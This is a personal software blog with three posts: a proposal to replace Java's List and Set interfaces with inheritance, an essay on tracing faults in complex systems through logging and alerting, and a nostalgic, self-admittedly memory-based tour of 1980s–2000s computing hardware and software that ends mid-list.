Monday, September 12, 2011

Java List and Set redefined

I want to propose that java.util.List and java.util.Set should have been implemented with inheritance rather than interfaces.

Whenever I would give people an example of Java Interfaces done correctly, I used to point to java.util.List as an example.

List is a true data type, not just a collection of methods. It’s a well defined concept that doesn’t change often. Plus all the implementations of List are in the same jar as the interface, so there are no messy factories or Reflection to deal with. List is the ideal candidate for Interface use.

But then it occurred to me that 99.9% of the time, when we use List, we are using ArrayList as the implementation. If you need to use Vector, that’s a sign you have some other kind of design problem because your code should be naturally thread-safe without locking. Likewise 99.9% of the time that we use “Set” we use “HashSet”.

I always follow the K.I.S.S. principle in my designs. I favor simplicity over features even though that’s ironically more difficult to accomplish. So if I was in charge of Java, I would eliminate the List and Set interfaces and make people use concrete types. LinkedHashSet would simply inherit from HashSet, and Vector would inherit from ArrayList, so you could still have your polymorphic behavior.

I don’t propose this just because I find Java Interfaces to be annoying, but rather I believe that inheritance is more natural for this situation because a LinkedHashSet “is a” HashSet. A Vector “is a” ArrayList (although poorly named). HashSet could extend an abstract class called “Set”, and ArrayList could extend an abstract List.

There are a couple of things you can do with Interfaces that you can't do with Inheritance, and maybe that could burn you on a few occasions. But it's the nature of software development that you remember (often with scars) the two or three times you get burned bad by a missing feature, but you never remember the ten thousand times you were saved a step or a click or a mental cycle of debugging by not having that feature.

In the long run, I'd rather suffer the occasional deep wound than be slowed down by tons of paper cuts. Also, if you follow other good development practices (like having good Unit Test coverage and being nimble at refactoring) you can make it easy to recover from those deep wounds quickly.



"Any intelligent fool can make things bigger, more complex... It takes a touch of genius -- and a lot of courage -- to move in the opposite direction." -- Albert Einstein

Sunday, August 16, 2009

The impossible cause


The following is a true story that illustrates a common problem with complex systems:

I cannot call my bank from my cell phone. The call will not go through.

Here are the facts:


  • My cell phone can call ANY other number. Therefore, it is unlikely the problem is with my phone.


  • The bank can receive calls from any other customer. Therefore, it is unlikely the problem is with the bank.


  • My cell phone carrier says they are not aware of any problems that would cause this issue.  Therefore, it is unlikely the problem is with the carrier.
So, by eliminating all probable causes, I have eliminated every cause.

Sir Arthur Conan Doyle once said "Once you eliminate the impossible, whatever remains, no matter how improbable, must be the truth."

But in the world of complex systems, we cannot determine nor eliminate the impossible, so we are left to eliminate the improbable, and once you eliminate the improbable, whatever remains might be impossible.

Neither my bank or my carrier is willing to spend the considerable effort it would take to trace down a problem that "probably" isn't even theirs.

Somewhere in the connection between me and my bank, something a very specific and improbable fault has occurred. However, sitting between me and my bank are dozens of complex systems, and so all I get is finger-pointing.  Systems are becoming increasingly complex due to ever-increasing numbers of layers and abstractions.  There are more and more cooks in the kitchen every year.

The relatively recent emphasis on Unit Testing is (IMHO) a response to the ever-increasing complexity of software.  Not only is my code 4 or 5 levels away from the metal, but my code is dependent on a half dozen other systems that are also 4+ levels away from their own metal. The networking between systems adds another 2 or 3 levels. When systems call other systems the number of levels involved increases geometrically!

So now when I query for a piece of data, and I get the wrong result, I have no reasonable way to even guess, much less trace, all the places that might have damaged my data along the way.

The only way to determine the output of a complex system is through constant and rigorous experimentation (unit testing). The days of predictable outcomes are all but gone.

This has become a serious problem that I don't see anyone addressing in a meaningful manner. It is too time consuming and frustrating when every system failure results in finger pointing.

Sure there are profiling tools that can trace your code and let you punch through 3 or 4 layers of abstraction to watch what is going on in your code, but these are limited by many factors.

My overall experience with profilers is that they find 10% of the problems dead-on, and they can give you good leads to follow for another 40% of the problems, but for the rest you are on your own.

I have some ideas for how to tame the complexity beast that is upon us:


Trace Logging
Everything a system does should be logged in a common location so that it's possible to trace all the communication from point A to point Z without having to run a TCP tracer or system profiler. Use "trace" level logging! That's what it's there for!

Treat your logging system like the black box on an airplane. Use it to record anything that can be helpful in determining the cause of a crash. 


Don't log meaningless messages like "I'm here", "...and now I'm here...".   Log useful messages, and logs lots of them.

Live Testing (contract enforcing)
The assumptions made in the creation of the Unit Tests and mock objects should be tested against the live data as it arrives, and if anything falls out of bounds, that system must have the ability to sound an alert that results in human notification and not just another line written to a massive log file.

I'm not saying that your Unit Tests should be run in production, but consider enforcing the same assumptions you made about the inputs and outputs in your Unit Test. Having an clean interface doesn't help. A Java/C# interface only enforces data types, not contents, and it's the contents that cause the biggest problems. You have to have code that validates the actual data that arrives AND validates the data that is returned.

Alerting
If you encounter an error, just don't log it to some log file that nobody reads. Implement mechanisms that will alert an actual human being when there is a failure. The simplest way would be a tool that parses the log file and sends urgent e-mails for each error it finds. In the case of my inability to call my bank, there is SOME system somewhere in the chain that is recognizing an error state but has no mechanism to inform a human being of the problem. This is especially true of routers and switches and other magic black boxes.

Modern hardware servers (the physical boxes) implement both Live Testing and Alerting. If a memory chip fails a CRC test, then an alert is sent to the system admins. On more than one occasion they have detected a flaky memory chip that way. If it were not for those server features, we'd have yet another source of untraceable freak accidents. If hardware servers can do it, then why can't software do it?

Fault Intolerance
Fault-tolerant systems lead to the most difficult bugs to trace. These systems try to be very forgiving of bad data and bad environments and do their best to continue their process no matter what. That's fine, but tolerating faults without Alerting is a major cause of unexplainable system behavior.

I have personally witnessed an error that was caused by a firewall that was prematurely closing connections when it got overloaded. This was a Fault Tolerance feature of the firewall so that it would keep running under the extreme load. But it also caused many *months* of finger pointing when our applications would have mysterious errors under heavy load. If the firewall is unable to alert a human, then I would rather see it just crash completely and take all systems down than keep operating in a way that causes mysterious and untraceable problems! If the firewall were to shut itself down completely, then we'd be able to zero in on the cause in no time! Otherwise we are left trying to catch live bugs in running systems which is damn-near impossible. The very act of trying to trace them can sometimes cause them to not happen! (We call those "Heisenbugs")

I have personally witnessed other freak accidents caused by code that tried to "fix" bad data on-the-fly. If a required field was passed in as NULL, the code would replace it with empty-string or "none" and effectively kick the problem further down the road. DON'T DO THAT! Someone obviously thought they were helping reliability by making their code able to handle any situation. But what they really did was undermine the reliability of all the downstream systems and undermined the traceability of all upstream systems!

Error Failing
I don't like the term "Error Handling" because that seems to imply that an error is something you can recover from. In most cases it's not. If something isn't what you expect, then fail noisily and alert someone.

Hibernate was the first major framework (that I know of) to abandon exception handling in favor of just failing outright via Runtime Exceptions that are thrown all the way up the stack. Catching an exception and trying to recover is quite often a bad thing to do.

Monitoring
Not everything that can go wrong will produce an alterable error. Systems are organic things that must receive constant checkups to see how they are growing. Tools that capture statistics about traffic must be kept so they can be analyzed for unexpected growth areas that might lead to bottlenecks.

The Cost
Here is the problem with all of my above suggestions: They aren't easy or cheap. Many of the advances of Computer Science have been in pursuit of allowing developers to focus on business logic and not the plumbing. What I am proposing here is a LOT of plumbing that must be created by hand.

What is the cost of implementing so much plumbing? It's high. What is the cost of months of finger pointing between various systems in your I.T. infrastructure? In the long-run it's even higher.

You can argue that all this plumbing isn't worth it just to solve the problem of the 1 customer out of millions who can't call their bank. But I would argue that those 1-off problems are quite often seeds for much bigger problems, especially in the realm of performance issues.

Monday, March 02, 2009

30 Years and Counting!

It was about this time in 1979 that I first got into computers.

I started to type up this list of the memorable technologies I've used over those 30 years...and this list got a little out of hand...then this list got REALLY out of hand. I had forgotten how much I actually remembered! :)

My list has gotten so long that nobody will read it...so now this is just an exercise for my own amusement. However, the fact that I was able to find Wikipedia entries for almost everything here means that I'm not the only one who remembers some of these things. =)

So here is my list of everything I've seen and done (technology-wise). All descriptions are from my own memory of experiences and events at the time, so there is no guarantee that all of this is 100% accurate.

Computers/Calculators

Apple ][, ][+
The legendary Apple ][ that created the monster who we know today as "Steve Jobs". :) This was my main platform of choice for most of the 1980's. It's still the computer that I know better than any other.
TI-99/4A
Part computer, part game console, part calculator. Complete disaster.
Atari 400
Horrible keyboard. What was it like to type on the Atari 400? Well, take a sheet of bubble-wrap, and lay it out face down on your kitchen counter. Now write letters on all the backs of all the bubbles. There you go.
TRS-80 Color Computer
In 1982, you couldn't walk by a Radio Shack without seeing this computer on display, usually demoing the game Dung Beetles, which was a bizarre knock-off of PacMan. The TRS-80 was referred to as "TRaSh-80" by technology snobs. But the TRS-80 actually has a noble lineage going back to the TRS-80 Model I released in 1977. It competed directly with the early Apple II and the Commodore PET.
TRS-80 Model 100
The most practical laptop ever built. No, seriously! It had a full keyboard with great tactile feel and long keystrokes, and it ran for 20 hours on a single set of replaceable (or rechargeable) AA batteries! Sure, the screen was a monochrome LCD screen with only room for eight lines of text, but it had a full-featured word processor, spread sheet, and database. If you want to do untethered work for days on end, this was (and AFAIK still is) the only solution...short of buying and charging a big stack of backup batteries for your laptop.
TRS-80 Model III
I used these in high school. There were fairly lame. I wrote a lo-res version of Tron Light Cycle game for the Model III that made them at tiny bit less lame, but then the teacher banned students from playing it.
TI-74 Basic Calc Pocket Computer
If your pockets are big enough to carry a loaf of bread or a box of cereal, then yes, this is a "pocket" computer. I've had one of these for 24+ years. This device has no form of external storage, so all the programs I wrote are only in memory. Every 6 months, since I was 15, I have changed the batteries on my TI-74 to keep my old programs alive. (Just because) Someday the backup capacitor is going to fail while I'm changing the main batteries, and I'll lose everything. I've come up with numerous geeky plans to hot-wire alternate power into this thing...but I'm more curious to see just how long this thing will survive as-is. :) Besides, this thing deserves a rest!
HP-28C
At the college I went to, no nerd would be caught dead without one of these. I had the HP-28C, but the richer nerds had the nicer HP-28S. The HP-28's could be programmed in RPL. RPL stands for "Reverse Polish Lisp". Seriously. Look it up. And it used the Saturn CPU which ran at 640kHz. This is the only CPU I've ever been aware of using that was measured in kilohertz.
HP-10 series (15C, 16C, etc)
The best calculators ever made. Period. For all of these reasons, this calculator is still wildly popular, and there is even a petition drive to bring them back into production. Currently, they sell on eBay for hundreds of dollars each! So the demand is definitely there. I have the HP 16C, and it's my favorite calculator to this day.
PDP-10
The mainframe of the gods. You could fill a box of Trivial Pursuit cards with all the "firsts" and notable historical events associated with these machines. When I was 13, I lucked into "acquiring" an account on a University of Louisville PDP-10 mainframe. The PDP-10 was a 36-bit computer that most commonly ran the TOPS-10 Operating System. This combination of hardware and OS was commonly referred to as a "DEC-10". I played many games of DECWAR into the wee hours of the morning, and spent hours in chatting on FORUM. DECWAR was the first multi-player game ever, and FORUM was the first chat program ever, and I had the privilege of being there, completely oblivious to how lucky I was.
PDP-11
This was DEC's most popular minicomputer, not to be confused with the PDP-10 which was a true monster mainframe computer. There was nothing "mini" about the PDP-10. The PDP-11 was much smaller and affordable for colleges and scientists. The PDP-11 was an absolutely amazing machine that was way ahead of its time. It ruled the computing world until microcomputers began to catch up in the late 1980's.
Dec Vax-11 and Dec Vax 8250
Replaced the PDP-11...or rather it succeeded the PDP-11...because nothing could replace the PDP-11. :) These were the primary mainframes I used at college. We did our programming assignments in rooms filled with VT-100 terminals connected to the VAXes (VAXi?). We had compilers for Pascal, Modula-2, Ada, C and C++. What else could you want? College students today with their "personal" computers and network connections in their rooms are just spoiled! :)

The Vax was the best...and last...great minicomputer. In the early 90's, it lost market share to personal computers in businesses and universities. People will claim that the microcomputer revolution began in the 1970's. But as *I* remember it, it didn't happen until the very late 1980's.

For the first decade of their existence, microcomputers were seen as toys and game machines, and honestly the games were a main selling point early computers like the C-64. They weren't taken seriously by companies who made "real" computers. The key turning point was when Turbo-C was released for the IBM PC in 1987. That was the first time I clearly remember a collective "ah-ha!" moment when it was proven that a microcomputer could be a serious application development platform. This event coincided with common memory upgrades that allowed these microcomputers to have as much memory as a mainframe (around 512k), and, to make a perfect storm, this was also the point in history when people started to believe that business applications could be written in C instead of COBOL.

The microcomputer could not replace the mainframe or minicomputer until people started actually doing the kinds of things on microcomputers that they used to do on mainframes...and generally speaking that was not playing games. The true success story of the IBM-PC was its ability to run "serious" applications, like language compilers and accounting packages. None of the other computers made by Commodore, Apple, or Tandy had superb development environments like Turbo-C, Turbo-Pascal, or Borland C++. To this day I am frustrated by the lack of a great C development environment for the Apple ][ and C-64. Sure, there are C compilers, but nothing like the Turbo-C IDE with its awesome integrated editor.

DEC tried to keep up with the microcomputer revolution by releasing smaller microcomputer versions of the Vax architecture: the so-called "Vax Stations". But this was too little and too late and too expensive.
Tandy Pocket Computer
These things were so cool...if you had hands like a squirrel monkey. Otherwise the keyboard was WAY too small to type on.

For a few years in the late 1980's, pocket computers were all the rage, and everyone wanted a pocket computer that could run BASIC. Every time I would walk into a Radio Shack they had new models of Pocket Computers on display. I'm not entirely sure why Pocket Computers died off. I guess iPhones and PDAs replaced them, and perhaps nobody wants to write their own programs anymore. (?)

Apple //gs
The //GS was half-way between an Apple ][ and a Macintosh, and it even had an awkward CPU that could switch between 8-bit and 16-bit modes.
Apple //c and //c Plus
The "portable" Apple computer. The advertisements for this computer would show a picture of someone running to be somewhere carrying their Apple //c by the handle. The picture failed to show that this person must also be carrying a 5lb power brick, 4 cables, a mouse, a large box of floppy disk software, an essential 2nd floppy drive, and a 30lb CRT monitor mounted on a 4lb monitor stand made of steel...all in their pockets.

Computer portability has always fallen short of expectations (with the exception of the TRS-80 Model 100). Even modern laptops are only as untethered as an astronaut making a space walk. The momentary thrill of being free and unconnected is lost as soon as you find yourself checking your oxygen gauge every 30 seconds. Due to its small size, the Apple //c had no room for internal expansion slots, and thus was not easily upgradeable. That didn't stop the very clever folks at Applied Engineering from inventing ways to squeeze new hardware into the Apple //c by making add-on circuit boards in the shape of Tetris pieces. Maybe the guy who invented Tetris once owned an Apple //c?
Timex Sinclair
A programmable Lite-Brite made by the same group who invented the most ridiculous calculator watch ever. I would not be surprised if the Sinclair computer was originally intended to come with a wrist strap.
Commodore 64
You could buy a Commodore for under $600 when other computers were selling for over $1200. That was pretty darn cool considering it was a real computer with enough memory and power for all the common computing tasks of its day. Side Note: Before getting into the computer business, Commodore was known for making some rather nerd-tastic calculators.
Coleco Adam
This is the only home computer (that I know of) that used high-speed cassette drives as a primary storage mechanism. This was great except for the fact that the Adam generated enough EM interference to erase any tapes left in it too long. The tape drives were also prone to violent self-destruction when anything jammed the high-speed tape feed. The Adam was such a disaster that it single-handedly destroyed the entire company Coleco. Coleco, as you may remember, made the Cabbage Patch Kids and many of the most popular hand held electronic games from the late 70's and early 80's.
Macintosh Plus, Mac SE, Mac Classic
As an early Apple ][ user, I was always in awe of the Macintosh. The Mac had style! I would always go into the computer stores and sit down an play with the early Macintosh computers. But I could never afford one. Even after I got my first high-paying job I still couldn't afford one. That's how ridiculously expensive Macintoshes were. Affordability has always been an issue with the Macintosh. It was only 2 years ago that I finally bought an old Mac SE off of eBay...the same model I've wanted since High School. (I rule!)
Osborne 1
The first portable (luggable) computer...not to be confused with the Compaq portable which was the first IBM-compatible luggable computer. The Osborne ran CPM/2.2. I have an Osborne 1, and I can tell you that this thing is as portable as a full-sized tower PC with a handle glued to it.

The Osborne computer was invented by Adam Osborne. Not only does he have a famous computer named after him, but he also has an infamous business blunder named after him. Adam Osborne announced the Osborne 2 (or Osborne Executive) before it was actually ready to ship, and that had the effect of drying up sales for the Osborne 1 and contributed to throwing the company into bankruptcy 3 months later. This is now known as The Osborne Effect. The truth behind the Osborne Effect is somewhat exaggerated, because there were other factors that lead to the demise of Osborne. But the moral of the story is clear: Don't EVER announce a technology product that isn't ready!
Heathkit/Zenith 148 IBM PC compatible
This was my first PC compatible computer. Zenith computers were sold at Heathkit stores. Heathkit is where you would go if Radio Shack just wasn't nerdy enough for you. Heathkit sold most of their devices as boxes of parts you had to assemble yourself. What I really wanted, but could never afford, was a Heathkit HERO.
IBM PC, IBM PC/XT, IBM PC/AT
Also known as models 5150, 5160, and 5170 respectively. This was the start of the dreaded "PC" empire. The PC was introduced into the lively, competitive and innovative home computer market of the 1980's...and it totally annihilated it. Apple, Tandy, Atari, Commodore and others were no match for the attack of the PC clone armies. IBM was relatively late to the PC market, but their Empire struck back, and the last of the Jedi went into hiding at Apple. We can only hope that someday a rebel alliance will form that is capable of taking down the PC.
IBM PC Junior
Wow, this computer was awful! It was a mismatch of technologies at every level...somewhere between IBM PC and a Speak n' Spell. The keys on the chiclet keyboard were soft and squishy, which made it feel like you were typing on a chew toy. You fully expected the thing to squeak...but it didn't even do that! The keyboard was wireless (good idea) but had a battery life of about 2 hours (tragically bad idea). There is nothing worse than having your keyboard die and leave you with no way to save your work. With sufficient expensive upgrades, it could almost run full PC applications...which made it almost a useful computer. It died off very quickly and mercifully.
Sun Sparc Workstation
We used these in college by my senior year. These were made by this exciting new computer company called "Sun". They were my first experience with X-Windows running on Unix. It was also my first experience with giant seizure-inducing CRT monitors. These were the days before we figured out that 60hz is not a sufficient refresh rate for a large monochrome screen.
NeXT Workstation
This is one of my favorite computers of all time. It was a decade ahead of its time. I don't make that claim lightly. It was everything the Mac OS/X eventually became, only 10 years earlier. It had a fully graphical unix-based OS long before Linux existed. Despite technical superiority in both hardware and software, the NeXT never caught on. The NeXT came to market right at the height of a recession, and right when the PC clones had already established market dominance. Nobody wanted to take a risk on something fancier that couldn't run IBM software.
NeXT Cube
A NeXT computer in a big cube. The cube shape gave it enough room for internal CD-ROM drives. The NeXT was one of the first computers to offer CD-ROM drives.
Symbolics' Lisp Machine
A language-specific hardware implementation. I used this in college for my Lisp class. It was a machine designed to run Lisp programs at the hardware level. This was very cool! But it was a highly specialized machine developed at a time when the market wanted general purpose machines. And to this day the market has never turned away from general purpose machines. We want our PC's to be able to do anything and be anything. And then we complain they are too complex to use.
HP 3000
I used one of these on my first job out of college, at the Naval Ordnance Station in Louisville Ky. The HP 3000 is a legendary machine. But at the time, I had no appreciation for that fact. Rather, I only saw it as disappointing that this old 70's mainframe computer was still in use in 1993. Well, even in 2009 this computer still has many installations around the world and is *STILL* being supported by HP!! HP will support it until 2010, and other vendors plan to carry on support until 2013 and beyond.

When the HP 3000 was first released, it was a very popular alternative to the expensive IBM mainframes. As such, there were many large and complicated software suites written for the HP 3000. These were usually highly customized for each customer. When I worked at the Naval Ordnance Station, we were running MRP software on the HP3000 that had been developed over 10 years. Rewriting these monster mainframe apps all over from scratch is a monumental task that is almost never worth the modest functional improvements you would get by upgrading to a new platform. This is why HP 3000's have taken so long to die. Besides, if you can get by with text-mode applications that don't require large amounts of fast computations, then computers from the 1970's can do pretty much anything computers today can do.
Compaq Portable (luggable)
The first IBM-compatible computer ever. Today we often use the term "PC Compatible" to mean "Intel/Windows Compatible". But back in these days the term "PC Compatible" meant 100% compatible with the actual PC made by the actual IBM corporation. Once Compaq opened the door to making IBM "clones", it began the slow but inevitable decline of IBM as a PC maker. Really, the only thing that kept IBM in the PC market for so many years was slavish devotion to IBM products by big conservative corporations.

Compaq computers were infamous for using highly proprietary hardware that required equally proprietary drivers and OS patches to use them. In the end, you had a computer than could run IBM software just fine, but could not be upgraded or modified in any way without paying major $$$ to Compaq. Clever!
Altec 486/66mhz
This wast the first Wintel computer I ever owned (Windows 3.1). It was one of the first computers to feature the Intel 80486DX2 "Clock Doubled" (oooo!) CPU. It was also the first (and last) generation of computers to sport VESA Local Bus video cards.
iMac G3
The first Macintosh I ever owned. My interest in Apple computers had faded in the late 90's as Windows became overwhelmingly dominant on desktops. But when Apple introduced a new Unix-based Operating System for the Mac, I became interested in them all over again. The iMac was also a "cute" computer. It came in many colors (or "flavors") like Strawberry, Blueberry, Grape, Ruby, and Flower Power. As a marketing gimmick, the colors did help sell a fair number of iMac's, but soon the fad wore off and Apple when back to making white iMacs.

Steve Jobs has spent his entire career trying to sell the fashion side of technology. The key to fashion is giving people a way to express their individuality, and Jobs has always promoted the visual and functional individualism of the Macintosh computer. Individuality is fine for decorative aspects of technology, like computer cases, but computer software demands conformity and standards above ALL else, and this is why Apple has had such an incredibly difficult time breaking any of Microsoft's monopolies.

But with the iPod, Apple entered a new market that Microsoft did not already control with a software monopoly. Apple made cute little music players that allow people to define their individuality through their song lists, and they finally found the bridge between fashion and technology that Jobs has been looking for all these years. AND, lucky for Apple, they've found a way to make a Microsoft-like software lock with iTunes. Most people have their music library stored in iTunes, and nobody in their right mind would want to take on the hassle and expense of moving all their songs to another brand of Music Library...even IF that other Music Library was technically superior. Apple's Monopoly is like the purple Baltic/Mediterranean Avenue Monopoly compared to Microsoft's control of all the blue, green, yellow, red, and orange properties on the game board. But at least it keeps Apple in the game.
Mac Mini
I don't think this computer really had a clear target audience. Its main selling point seems to be that it's very cute, and very small. I bought one 3 years ago, and I use it to this day as a web server and file server.
Commodore Amiga
I never owned an Amiga, but used a friend's Amiga in college. For graphics and animation, the Amiga had no equal. The Amiga technology was ahead of its time, but was never fully understood in by the general public. Commodore did a horrible job of marketing the Amiga, and all of its talents went largely unnoticed. The Amiga showed a lot of heart and user loyalty, but in the end was not victorious.


In memory of the Commodore Amiga, I offer a most sincere slow clap.

The Internet before the web

The internet existed long before the Web and all the "www" stuff came along. We did all the kinds of things people use the internet for today, only it was done entirely through command-line text interfaces.

We had FTP sites for file sharing, TELNET for accessing remote computers, Gopher for looking up content, IRC for chatting with live people, and Usenet for global message boards.

These were all nice, but nothing killed time quite like playing in a MUD RPG!! These were essentially text-only versions of World of Warcraft. They were every bit as ground breaking as they were addicting. Now, I don't ever want to be that old man who starts off a complaint with "Back in my day...", but I do at least wonder if modern 3-D virtual worlds require less imagination than the storybook text worlds of the old MUDs.

Communications before the Internet

Before the internet, we had modems! Modems were the little boxes of magic that made everything happen and allowed incompatible computers (and incompatible people) to talk to each other!
BBS
Bulletin Board Systems. I used too many BBS's to list here. They were a major part of my communication with the outside world and significantly shaped who I am by exposing me to people and ideas outside of rural Kentucky. :)

<soapbox>

You really cannot overstate the enlightenment that can occur from being able to talk to other people who have different backgrounds, cultures, and ideas. The BBS communities created a melting pot of people who would otherwise never talk to each other.

However, the World Wide Web offers so many choices that it has had the opposite effect on some people. It allows people to find whole sites dedicated to people who are exactly like themselves and share the same ideas and philosophies. Instead of exposing people to new ideas, it can allow people withdraw even further into a cocoon of their own beliefs woven by people who are just like them. If you want to believe in some crackpot theory, you can find enough "information" and official-looking citations on the Web to convince you that your theory is true...no matter what that theory is.

For the internet to be beneficial, people are going to have to learn how to filter through all this information without just filtering the things they want to hear.

</soapbox>
FidoNet
A multi-hop system that allowed messages to bounce from BBS to BBS in order to travel longer distances across the whole country. You could read and post on remote message boards without incurring the long-distances charges.
BITNET
Early form of a "college" internet. I thought it was so cool when I received my first "e-mail" from someone in another country. Now days I get spam from Nigeria and Russia every day...and it's not at all cool. :(
Compuserve
Before the Internet, this was *the* place for technical people and software developers to meet and communicate and share information online. CompuServe was like the ultimate mega-BBS, and it had dial up locations in every city.
America Online
Most people don't know that AOL had very humble beginnings as an online dialup service for Apple II computers. But AOL grew like crazy and eventually became disparaged by tech-savvy people for bringing all of America onto the Internet. Using AOL was a primary indication that you didn't really know how to use a computer...and today that is more true than ever! :)
Dow Jones News/Retrieval Service
I can't find any good references about this service. It still exists today, but as an internet and web site service. Way back in the day, it was a dial-up modem service that I used. You could download news stories and weather reports! This is the kind of thing taken for granted today, but back in the early 80's this was revolutionary. As far as I can tell...almost nobody used this service except a few hackers and a lot of stock brokers.
File transfer sites and pirate sites.
This is where I spent way too much time as a teenager. These sites were nothing but collections of pirated software programs, updated continuously by the major pirate organizations. These were they days before FTP, so we had such wonderful file transfer protocols as: Kermit, XModem, YModem, ZModem, and CatFur.
Telenet
Not to be confused with "Telnet". (Note the extra "e" in the name Telenet.) Telenet was one of the first packet-switched networks. It was run by a startup telephone company called "Sprint" (!) and they offered a service called "PC Pursuit" that allowed you to make unlimited long-distance connections with your modem for a flat fee. Your modem would dial into the hub in your local city, and then dial out from a modem on the hub of the destination city. This was pretty kludgey, and the bandwidth was only 1200 baud, but it did work! However, it wasn't long before the pirate boards upgraded to 2400 baud (or even higher), and refused to accept 1200 baud connections. And that pretty much ended Telenet.

The Modems!!!

Accoustic Coupler
These were just weird...but they allowed two computers to talk to each other in situations where nothing else worked. It assumed you had a standard AT&T pre-breakup telephone handset. This is when all phones pretty much looked the same. These days phones rarely have handsets at all!
Novation AppleCat
This modem for the Apple II was absolutely the most legendary piece of hardware made for the Apple. It was supposed to be just a 300 baud modem, but it was so supremely over-engineered and so expandable that hackers soon found a ton of unintended uses for it. It had a sophisticated four-voice sound synthesizer that could be used to generate phreaking signals. It could also be used as a sophisticated sound card for the Apple ][. Many games were written where you would choose from a list of sound cards your computer supported, and one of the sound card choices was "Apple Cat Modem". By using a half-duplex hack, it could even do 1200 baud communications in one direction. For all these reasons, it became the must-have device for hackers, phreakers, and pirates.
Hayes Micromodem II
Hayes made a very Borg-like entry into the modem market and established standards for all modems. Soon, all other modems and modem software had to be certified "Hayes Compatible" or they wouldn't sell. Mostly "Hayes Compatible" meant being compatible with the Hayes "AT" Commands. But as higher-speed dial-up communications became standardized, Hayes became just another maker of commodity modems and lost out to competition from Zoom and U.S. Robotics. I also remember a lot of confusing caused by the wide range of fast-changing standard. (v.32bis, v.90, v.92, v.42bis, etc).
U.S. Robotics
This company has such a cool name. It's a shame they weren't famous for any actual robotics. U.S. Robotics was the very last modem I ever owned. It's been collecting dust since November of 2000. U.S. Robotics still exists today. They still make modems and employ a grand total of 125 people. Here is there sad and always empty jobs page.
Zoom Modem
Made by Zoom Telephonics. These gained large market sure in the 90's due to their low cost and adequate functionality. I've had two Zoom modems in my life, and both of them were dirt cheap and about 95% reliable. Zoom eventually bought out Hayes and still supports the dying embers of the Hayes brand to this day.

Databases and Office Suites

AppleWorks
The first "Office" Suite for the Apple ][. It had a full-featured Word Processor, SpreadSheet, and Database. It does 90% of what a modern Office Suite does (in text mode), but it's only 230K in size, and runs in 128k of memory.
dBase
A pioneering database product for micro-computers in the 80's. But unfortunately it gained a bad reputation after Borland bought it in the 90's. Borland probably meant well...in the same way that a child means well when they decorate a wall with permanent marker.
Paradox
Technology is already scary enough to most people, so don't name your product anything like "Paradox". That's like naming an automobile "Crash". "Introducing the 2009 series Toyota Crash and Ford Rollover".
Quattro Pro
Quattro Pro was legendary for the legal issues it raised in regards to how to copyright software. Quattro Pro designed its menus and key sequences to be identical to Lotus 1-2-3. It did this intentionally to allow users to switch easily, and for the benefit of having a "standard" for spreadsheets. Lotus sued and the case went all the way to the Supreme Court where it ended with a 4-4 tie. (1 justice recused himself)
Visicalc
This was the first practical spreadsheet ever made for a personal computer. Unfortunately, I was 11 years old at the time I pirated my own copy...so I couldn't figure out for the life of me what to do with a "spread sheet". It seemed to me like an awfully complicated way to add numbers.
HP TurboImage
This was a highly popular pre-SQL database. It was a hierarchical database, not a relational database. The difference being that you didn't really "join" tables. The only kind of relationship supported was parent-child. That's all you had to work with.
Sybase SQL Server
At their height in 1995, Sybase competed equally with Oracle for the #1 position in the database market. They also had the #1 RAD Application Development tool of the day: PowerBuilder. A combination of bad moves on Sybase's part and several power grabs on Microsoft's part left Sybase nearly dead just 2 years later. By 1997, Microsoft had interlocking monopolies on the Operating Systems, Office Suites, and development tools. Soon after Sybase and PowerBuilder shops had turned into Microsoft SQLServer and Visual Basic shops. WordPerfect shops had switched to Word. OS/2 shops switch to Windows 95. Borland C++ developers switched to Visual C++. Many legitimate lawsuits were filed against Microsoft in the late 90's, but all fizzled when George W. Bush "took" office in 2000.

Clipper
This was an amazingly popular product...for about 8 months. This is the closest thing to a true "fad" I've ever seen in the database market.
Foxpro
A powerful database package that addresses no known problem. It nevertheless gained some popularity among the power-user crowd. But Foxpro was data napalm, and the I.T. community spent a large part of the late 90's putting out the fires.
Microsoft Access
If you can click a mouse, you can write a database application...in the same sense that if you can jump off a building, then you can learn to fly. It only works up to a point. That point is discovered only when I.T. get's an emergency phone call to fix their impossibly complicated or corrupted Microsoft Access system.
DB2
The oldest relational database still in appreciable use today. It is the closest thing to a zombie there is in the software world. It is neither alive nor dead, but it is terrifying to software developers everywhere.
Microsoft SQL Server
Microsoft virtually stole this database from Sybase, and then ran with it and turned it into an empire.
The Windows Registry
Stand back...this is a rant is 15 years in the making:

The Windows Registry was one of the worst ideas in the long, sad history of bad ideas in technology. Seriously, this is like someone ate a big bowl of stupid, washed it down with a tall glass of fresh-squeezed stupid juice, sat down in the two-legged stupid chair, un-learned two decades worth of advancements in database technologies, and proceeded to create yet another Achilles' heel in an operating system that already had more weak heels than a discount shoe store!

All the justifications for the registry are baloney, and I can pick them apart one at a time. Whatever they were trying to do could have been done in a dozen better ways.

What they ended up creating is an unstable, unmaintainable, cryptic, and entropy-generating database that is responsible for the management of every critical software component on your entire computer. One bit of corruption in the registry can render your entire computer unbootable. Unused and orphaned entries will rot the registry and cause a terminal degradation of your entire system over time. The size, complexity, and cryptic nature of the registry also make it the PERFECT hiding place for all manner of unwanted spyware, trayware, tickware, and clingware.

The system-degrading and parasite-hiding nature of the Windows Registry has resulted in the formation of an entire cottage industry of registry cleaning products. Do a Google search for "Registry Cleaner". You'll find over 50 pages worth of software and articles that feed a hungry population of computer users who are desperate to find something to fix their Windows Registry.

Of course, all of these programs are pretty much useless, because it's nearly impossible for a software program to distinguish good entries from bad in this haphazard jumble of data values that have no referential integrity whatsoever. There no way to tell the who/what/when/where/why of any item in the registry. Cleaning the registry is like trying to remove yesterday's raindrops from a lake.

Thank you Microsoft for seeding every copy of your Operating System with a malignant cancer. Thank you for this rare example of Microsoft innovation, because I'm sure nobody else would have thought of storing system-critical information in a database that operates on the Butterfly Effect.

Operating Systems

Apple DOS 3.2, 3.3
The first and simplest operating system for the Apple II computer. I still use it to this day. My copy hasn't been patched since 1981, and yet it's COMPLETELY safe to use. The bare-bones technology, lack of multi-tasking, and limited ability to connect to other computers make it virtually virus-proof.
UniDos 3.3
I may be one of the few people in the whole wide world who remembers this. Even Wikipedia doesn't know what this is. It was a version of DOS 3.3 that could run on 3.5" UniDisk floppies. This gave you a DOS 3.3 disk with a whopping 400k of storage. *WOW*
TOPS-10 (PDP-10)
Operating System for the legendary PDP-10.
David Dos
This was back in the cool days of software when all programs were small and could be written by one person. In this case some dude, who I assume was named "David", wrote his own modified version of Apple DOS. The biggest feature of David DOS was that it could view text files...much like the "cat" command in Unix. No other DOS for the Apple II had this ability.
ProntoDos
